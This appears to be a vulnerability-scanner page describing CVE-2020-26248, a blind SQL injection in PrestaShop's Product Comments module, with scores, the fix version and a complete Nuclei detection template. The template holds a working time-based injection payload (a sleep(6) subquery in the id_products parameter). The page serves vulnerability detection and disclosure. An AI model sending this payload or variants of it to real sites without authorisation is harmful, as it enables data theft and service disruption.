PrestaShop Product Comments <4.2.0 - SQL Injection

highseverity

8.2CVSS score

12.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Fixed in 4.2.1.

How to confirm it

Send: @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "application/json") and contains(body, "average_grade")

Run it with nuclei: nuclei -id CVE-2020-26248 -u <target>

The full check

id: CVE-2020-26248

info:
  name: PrestaShop Product Comments <4.2.0 - SQL Injection
  author: edoardottt
  severity: high
  description: |
    PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in 4.2.1.
  reference:
    - https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
    - https://packagist.org/packages/prestashop/productcomments
    - https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26248
    - https://github.com/PrestaShop/productcomments/commit/7c2033dd811744e021da8897c80d6c301cd45ffa
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
    cvss-score: 8.2
    cve-id: CVE-2020-26248
    cwe-id: CWE-89
    epss-score: 0.12388
    epss-percentile: 0.9624
    cpe: cpe:2.3:a:prestashop:productcomments:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: prestashop
    product: productcomments
    framework: prestashop
  tags: time-based-sqli,cve,cve2020,packetstorm,sqli,prestashop,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "average_grade")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from